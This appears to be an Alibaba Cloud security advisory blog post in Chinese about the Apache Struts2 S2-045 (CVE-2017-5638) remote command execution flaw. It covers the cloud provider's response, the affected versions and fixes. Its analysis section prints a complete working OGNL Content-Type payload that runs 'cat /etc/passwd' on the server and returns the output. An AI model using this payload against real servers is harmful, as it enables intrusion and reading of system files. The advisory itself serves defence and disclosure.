阿里云帮助云上用户应对Struts2高危漏洞

简介: 2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危。完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。

完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

公告全文:https://help.aliyun.com/noticelist/articleid/20273580.html

联动响应 零安全事件

在流程启动启动的同时,阿里云云盾的各个产品联动响应,帮助用户应对Struts2漏洞。安骑士迅速完成云上ECS安全检测,态势感知用行为检测功能精准捕捉攻击源IP,Web应用防火墙在次日上午成功升级防护规则,帮助用户有效拦截利用该漏洞发起的攻击。

通过及时地检测、通知和规则升级,所有阿里云云盾用户均未因此漏洞发生安全事件。

漏洞分析

0x00 漏洞公告

根据官方的漏洞公告

https://cwiki.apache.org/confluence/display/WW/S2-045

可以看出漏洞的主要原因是出现在Content-Type


It is possible to perform aRCE attack with a malicious Content-Type value. If the Content-Type value isn'tvalid an exception is thrown which is then used to display an error message toa users.

通过http header中的Content-Type,注入OGNL语句来进行远程命令执行。

Struts2在对于异常的处理时出现了问题。

0x01 影响范围

受影响的版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

0x02 漏洞危害

  • 测试环境:tomcat7,Struts2.3.16
  • 测试过程:在上传页面拦截请求的数据包

0a671ae6a8898df47a67c7dd30f3da68cb892471

在http header里增加一个Content-Type的key,value就是我们的poc


%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat  /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

0a671ae6a8898df47a67c7dd30f3da68cb892471

全球攻击分布态势

277ac59cb2aa8a7c517f960edfc844a758ee09fc

修复建议

  • 对于使用了基于Jakarta实现文件上传Multipart解析器,检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本。
  • 使用其它方式实现文件上传的Multipart解析器。
  • 使用第三方的防护设备进行防护。
  • 删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
  • 阿里云云盾Web应用防火墙已经支持该漏洞防御,点击这里可查看介绍

 

目录
相关文章
|
安全
阿里云RAM用户访问用户中心授权Quick Start
用户中心提供用户上云所涉及到的企业财务经营管理全链路能力,包括但不限于企业财务、账号中心、资金管理、卡券管理、账单管理、订单管理、分账管理、发票管理、合同管理、成本管理、资源实例管理、节省计划、SLA赔付等相关服务。目前多数企业在使用云上服务时,出于安全和管理考虑都是使用RAM账号。然而RAM用户常常在控制台进入用户中心查看近期的消费数据时往往遇到无权访问的权限问题。本文简单介绍主账号授予RAM用户访问费用中心的操作步骤,以供参考。
884 1
阿里云RAM用户访问用户中心授权Quick Start
|
云安全 运维 Cloud Native
阿里云与信通院邀您参与云原生安全用户调研
为进一步了解我国云原生安全产业发展全貌,阿里云将联合中国信息通信研究院、云原生安全实验室共同启动 2022 年《中国云原生安全调查》问卷征集活动,以分析企业云原生安全发展现状、行业应用采纳度、技术成熟度。本次活动将持续至 2022 年 11 月 30 日,活动期间,所有参与调研的用户均可在提交问卷后获得一次抽奖机会,期待您的反馈!
阿里云与信通院邀您参与云原生安全用户调研
|
弹性计算 安全
阿里云无影云桌面分配用户“无选项”解决方法
阿里云无影云桌面分配用户是什么?解决无选项问题,显示“无选项”,这是由于你的阿里云账号并没有绑定备用邮箱,绑定备用邮箱后可以选择了
阿里云无影云桌面分配用户“无选项”解决方法
|
NoSQL 安全 关系型数据库
阿里云数据库:帮用户承担一切数据库风险 | 学习笔记
快速学习 阿里云数据库:帮用户承担一切数据库风险
119 0
阿里云数据库:帮用户承担一切数据库风险 | 学习笔记
|
安全
阿里云无影云桌面分配用户无选项无法购买解决方法
阿里云无影云桌面分配用户是什么意思?分配用户无选项无法购买如何结局?
351 0
阿里云无影云桌面分配用户无选项无法购买解决方法
|
安全
购买阿里云无影云桌面分配用户是什么意思?
在阿里云无影云桌面优惠活动页面,购买云桌面时“分配用户”是什么?下拉菜单显示无选项,提示请分配桌面使用用户无法购买。分配用户是指输入需要登录桌面的邮箱地址,系统自动根据邮箱前缀创建登录桌面的用户账号
360 0
购买阿里云无影云桌面分配用户是什么意思?
|
弹性计算 数据库 数据安全/隐私保护
阿里云个人和企业用户申请云服务器试用图文教程
阿里云提供了云服务器免费试用活动,个人和企业均可申请,个人用户最高可2核4G3M带宽云服务器免费试用1个月,企业用户最高可申请8核16G10M带宽云服务器免费试用1个月,下面以图文形式教大家如何申请。
490 0
阿里云个人和企业用户申请云服务器试用图文教程
|
弹性计算 监控
直播预告丨阿里云佐井:关注预警6要素,帮助用户实现精准监控和告警
通过监控预警,把问题扼杀在摇篮里,减少故障带来的业务损失。
直播预告丨阿里云佐井:关注预警6要素,帮助用户实现精准监控和告警
|
运维 Cloud Native NoSQL
阿里云计算巢软件免费试用中心正式上线,企业用户可免费试用1个月
NebulaGraph、PingCAP、GitLab、EMQ、数云、用友、TDengine等已提供试用版产品。
阿里云计算巢软件免费试用中心正式上线,企业用户可免费试用1个月
|
运维 Cloud Native NoSQL
阿里云计算巢软件免费试用中心正式上线,企业用户可免费试用1个月
8月25日,阿里云计算巢软件免费试用中心正式上线,为客户提供自动化交付的ISV软件试用版产品,包括NebulaGraph、PingCAP、GitLab、EMQ、数云、用友、TDengine等,企业用户最长可免费试用1个月。
988 0
阿里云计算巢软件免费试用中心正式上线,企业用户可免费试用1个月

热门文章

最新文章